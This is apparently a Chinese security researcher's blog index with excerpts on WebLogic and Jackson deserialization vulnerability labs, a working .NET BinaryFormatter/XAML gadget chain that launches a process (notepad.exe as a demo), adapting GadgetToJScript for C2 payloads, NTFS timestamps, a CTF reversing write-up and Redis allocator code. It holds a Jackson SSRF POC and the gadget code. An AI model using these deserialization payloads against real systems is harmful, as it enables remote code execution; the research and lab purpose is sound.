wubba lubba dub dub.
post @ 2020-04-06

项目地址

cnsimo/CVE-2020-2551

CVE-2020-2551

weblogic iiop 反序列化漏洞

该项目的搭建脚本在 10.3.6 版本经过测试,12 版本未测试。

环境

kali+weblogic10.3.6+jdk6u25

保证部署 weblogic 的机器内存至少1.5G,因为脚本中参数指定的-x1024m

使用方法

git clone https://github.com/cnsimo/CVE-2020-2551.git克隆本项目到本地。

阅读此文

环境信息

1
2
3
4
5
6
7
8
9
10
11
OSType:
CentOS Linux 7 (Core) x86_64 3.10.0-957.21.3.el7.x86_64
DockerVersion:
19.03.8
Mirrors:
http://ovfftd6p.mirror.aliyuncs.com/
http://registry.docker-cn.com/
http://docker.mirrors.ustc.edu.cn/
http://hub-mirror.c.163.com/
WeblogicVersion:
12.2.1.3 - developer

部署 Weblogic

法 1:使用官方镜像

镜像地址:dockerhub
构建之后要运行 weblogic,需要使用官方提供的示例,参考上篇文章中间部分: 利用 Docker 手动构建 WebLogic 镜像

法 2:利用 Dockfile 手动构建

OracleDockerfile仓库地址:Github

使用方法参考 上篇文章 即可。

获取 Weblogic 相关源文件

在远程调试之前,需要先拿到 weblogic 源码或源文件(JAR 包)。从镜像中就可以取出来,方法如下:

阅读此文

info

我的 Docker 环境信息如下:

1
2
3
4
5
6
7
8
9
[root@localhost ~]# docker info -f  "
OSType:
{{.OperatingSystem}} {{.Architecture}} {{.KernelVersion}}

DockerVersion:
{{.ServerVersion}}

Mirrors: {{range .RegistryConfig.Mirrors}}
{{.}}{{end}}"
1
2
3
4
5
6
7
8
9
OSType:
CentOS Linux 7 (Core) x86_64 3.10.0-957.21.3.el7.x86_64
DockerVersion:
19.03.8
Mirrors:
http://ovfftd6p.mirror.aliyuncs.com/
http://registry.docker-cn.com/
http://docker.mirrors.ustc.edu.cn/
http://hub-mirror.c.163.com/

Docker 安装

1
2
3
4
5
6
7
8
9
10
# 依赖
yum install -y yum-utils device-mapper-persistent-data lvm2

# 添加仓库
yum-config-manager --add-repo https: //download.docker.com/linux/centos/docker-ce.repo 594 yum-config-manager --enable docker-ce-nightly
yum-config-manager --enable docker-ce-test
yum-config-manager --disable docker-ce-nightly

# 安装
yum -y install docker-ce docker-ce-cli containerd.io

在 dockerhub 中寻找 Weblogic 镜像成品

在下搭这个环境只是为了调试,没想搞这么麻烦,所以有成品最好,在 dockerhub 中找到两个下载量比较多的,第一个是官方的:

但是可惜了,镜像太大了,一个也没有下载成功,都是到一半就卡住不动了,只能自己制作一个了。

阅读此文

前言

在之前一篇文章中,介绍了利用 XAML 如何执行命令,例如一个执行 notepad.exeXAML代码如下:

1
2
3
4
5
6
7
8
9
10
11
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:system="clr-namespace:System;assembly=mscorlib"
xmlns:diag="clr-namespace:System.Diagnostics;assembly=System">
<ObjectDataProvider x:Key="notepad" ObjectType="{x:Type diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<s:String>notepad.exe</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

解析 XAML 的方式就是调用 XamlReader.Parse()。这篇文章继续介绍一下如何利用一条.net 的反序列化调用链触发 XamlReader.Parse() 的方式。

正文

.net的序列化过程中可以在类中自定义序列化过程,在实现 ISerizable 接口的类中将指定该类的序列化过程封装在 GetObjectData(SerializationInfo, StreamingContext) 函数中即可。所以我们可以制造一个基本的代码结构,用来生成最终的恶意序列化内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

namespace TestProject
{
class Program
{
[Serializable]
public class XamlSerialMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); // 取到支持 xaml 数据的可序列化类
info.SetType(t); // 将要序列化的类型设置为 t
info.AddValue("ForegroundBrush", _xaml); // 将 xaml 的 payload 放到该类的一个支持 xaml 数据的属性当中,反序列化的时候可以触发 XamlReader.Parse()
}
public XamlSerialMarshal(string xaml)
{
_xaml = xaml;
}
}

static void Main(string[] args)
{

string _payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:d=""clr-namespace:System.Diagnostics;assembly=System"">
<ObjectDataProvider x:Key=""notepad""ObjectType=""{x:Type d:Process}""MethodName=""Start"">
<ObjectDataProvider.MethodParameters>
<s:String>notepad.exe</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";

// 序列化
XamlSerialMarshal _marshal = new XamlSerialMarshal(_payload);
BinaryFormatter _b = new BinaryFormatter();
MemoryStream _ms = new MemoryStream();
_b.Serialize(_ms, _marshal);

// 反序列化
_ms.Position = 0; // 这句是将流指针重新指向开头
_b.Deserialize(_ms);
}
}
}

运行后,可得到一个记事本。

代码中需要填写 TextFormattingRunProperties 类的完全限定名称 AssemblyQualifiedName,有两个地方存在这个类中,一个是Powershell 自带的 Microsoft.PowerShell.Editor.dll,另一个是安装Visual Studio 才有的 Microsoft.VisualStudio.Text.UI.Wpf.dll,可以使用Everything 工具在系统中搜索得到。

如何查看类的 AssemblyQualifiedName 名字?

阅读此文
post @ 2020-03-02

不同的系统,不同的硬盘格式,对文件时间属性的存储、改变方式也是不一样的。

访问时间

文件系统有一个参数(disableLastAccess)可以控制最后访问时间是否在访问文件时更新,如果该参数启用情况下,最后访问时间则不会变。

查询命令:fsutil behavior query disableLastAccess,该值为 02代表关,13 表示开,默认情况下,系统引导时随系统盘大小来决定动态启用或禁用最后访问时间更新。

修改需要到注册表 HKLM\SYSTEM\CurrentControlSet\Control\FileSystem,修改图中的值,该值为双字的,只需关注低 16 位即可,也可以使用命令fsutil behavior set disableLastAccess 1 来更改该值。

在关闭访问时间更新的 NTFS 中,只有跨分区移动文件和更新创建时间的操作会使访问时问更新; 更新修改时间的操作是否更新访问时间由文件的类型决定。

修改时间

两种情况会改变文件的修改时间:

阅读此文
post @ 2020-03-01

XAML 简介

XAML(Extensible Application Markup Language)Windows Presentation Foundation(WPF)的一部分,是微软开发的一种基于 XML、基于声明,用于初始化结构化值和对象的用户界面描述语言,它有着HTML 的外观,又揉合了 XML 语法的本质,例如:可以使用 <Button> 标签设置按钮。它类似 Linux 平台下的 glade。至于WinFX XAML Browser Application(XBAP) 是用 XAML 作界面描述,在浏览器中运行的程序,可取代过去的ActiveXJava AppletFlash

XAML本质上属于一种 .NET 编程语言,属于通用语言运行库(Common Language Runtime),同 C#VB.NET 等同。与 HTML 类似,特点是用来描述用户界面。XAML的语法格式为:<Application... />Application是必备的基本元素。XAML可以定义 2D3D对象、旋转(rotations)、动画(animations),以及各式各样的效果。

参考:维基百科

利用方式

以执行 notepad.exe 为例。
VS2019 中新建一个 .net 的空项目,新建一个目录Resources,在该目录中新建一个 xml 文件,名为exec_notepad.xml,内容如下:

1
2
3
4
5
6
7
8
9
10
11
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:system="clr-namespace:System;assembly=mscorlib"
xmlns:diag="clr-namespace:System.Diagnostics;assembly=System">
<ObjectDataProvider x:Key="notepad" ObjectType="{x:Type diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<s:String>notepad.exe</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

需要注意的是:

  1. ObjectType用来指定类名;
  2. MethodName用来指定函数名称;
  3. MethodParameters为函数参数列表;

此处的代码实现了利用 XAML 执行Process.Start("notepad.exe")

阅读此文

Page Ready

发现一个不错的项目 GadgetToJscript,该项目演示了如何将.NET assembly 转换为可被WSHWindows Scirpt Host)引擎调用的脚本。

为什么要改?

该项目仅仅是为了演示,所以代码中直接集成了一个测试的payload,运行后弹一个MessageBox,如下图:

如果放到真实环境去用的话,需要在代码里修改 payload 内容,修改完还要编译,太麻烦,所以改成通过参数获取 payload 的形式。

最后并以 Covenant 生成的 payload 为例,进行测试!

项目地址:

反序列化加载 .NET Assembly 思路

阅读此文

题目

提示:求二维矩阵左上往下走,可以向下,也可以向右下的最大值。(动态规划 dp 的数学三角形最大和)

x86 平台的 exe,未加壳。

题目地址:i 春秋

工具

IDA 和 OD

分析

先用 IDA 反汇编分析。主要函数有 initcheck两个函数,init初始化了一个 1014*1014 大小的三角矩阵,这个大小可以从传给 memset 的参数能看出来,也可以看 for 循环的条件。

然后用字符串序列 A1ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,打乱 A1 的顺序生成 A2,然后得到一个 A1 和 A2 的对应关系表 R,三者关系是 A2.indexOf(A1[i]) = R[i] 或者 A2[R[i]] = A1[i]

这段可能在 IDA 里比较乱,OD 里分析一下之后,只需要得到最后的 A1 和 A2 以及 R 这三个序列就行,不用关注具体算法。

check用来验证用户输入的字符,根据字符判断向下还是右下走,然后走到最后的和只要大于某个值就能成功,这个值应该是卡的最大值。

可以从 check 函数中看到 getstep(a1[i / 6], i),分析后可知一个字符控制 6 步,一共要走 1024 步,所以最后答案应该有 1024/6=169 个字符。
观察 get_step 中判断方向的逻辑,a1依次传入用户输入的字符 (每个传 6 遍),v2R[A1.indexOf(a1)],暂用 i 表示 A1.indexOf(a1)v5 为 32,return 可以变成 R[i] & (32 >> a2 % 6),其中a2 % 6 的值分析可知在 [0,1,2,3,4,5] 循环,暂假设 ja2 % 6C表示 32 >> j,即[32, 16, 8, 4, 2, 1]。该 return 的结果根据a1 得到 R[i],然后判断R[i] 里是不是有 C[j] 对应的二进制位。

还原

阅读此文

1. 功能特性

1.1 支持多平台

通过宏的方式来区分系统,针对不同的系统使用不同的内存管理方式,支持 linux、Solaris、Apple。

1.2 支持多种内存管理方式

支持 tcmalloc、jemalloc 和 ptmalloc,apple 的 malloc 等。

关于 tcmalloc 的宏如下:

1
2
3
4
5
6
7
8
9
10
11
12
#ifdef USE_TCMALLOC
#define ZMALLOC_LIB ("tcmalloc-" __xstr(TC_VERSION_MAJOR) "." __xstr(TC_VERSION_MINOR))
#include <gperftools/tcmalloc.h>
#if (TC_VERSION_MAJOR == 2 && TC_VERSION_MINOR >= 7) || (TC_VERSION_MAJOR > 2)
#define HAVE_MALLOC_SIZE 1
#define zmalloc_size(ptr) tc_malloc_size(ptr)
#else
#error "New version tcmalloc is required"
#endif
#else
#define ZMALLOC_LIB "libc"
#endif

这几行代码来判断 tcmalloc 的版本是否低于 2.7,并对获取 malloc_size 的函数进行了映射。
为了方便在各种内存管理方式之间切换,使用宏对各内存管理函数进行了统一映射,例如 tcmalloc:

1
2
3
4
5
6
#ifdef USE_TCMALLOC
#define malloc(size) tc_malloc(size)
#define calloc(count, size) tc_calloc(count, size)
#define realloc(ptr, size) tc_realloc(ptr, size)
#define free(ptr) tc_free(ptr)
#endif

编译时通过指定 USE_TCMALLOC 宏可切换为 tcmalloc,不指定默认使用 glibc 的 ptmalloc。

阅读此文

漏洞概述

Jackson库对 JSON 进行反序列化的时候,存在反序列化漏洞,控制好反序列化的类,就能触发服务端请求伪造(SSRF)和远程代码执行漏洞(RCE)。
漏洞原理和分析参考:

漏洞环境

运行漏洞环境:

1
2
3
git clone https://github.com/cnsimo/vu1hub.git
cd vu1hub/jackson/CVE-2019-12384-RCE/
docker-compose up -d

命令执行成功后,需要等待以后,之后访问 http://your-ip:8080 即可访问 jackson 的测试页面,GET 或 POST 方式传入 POC 即可。

漏洞复现

SSRF

bp 传入 poc:
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://192.168.80.133:4444/~/test"}]

阅读此文
⬆︎TOP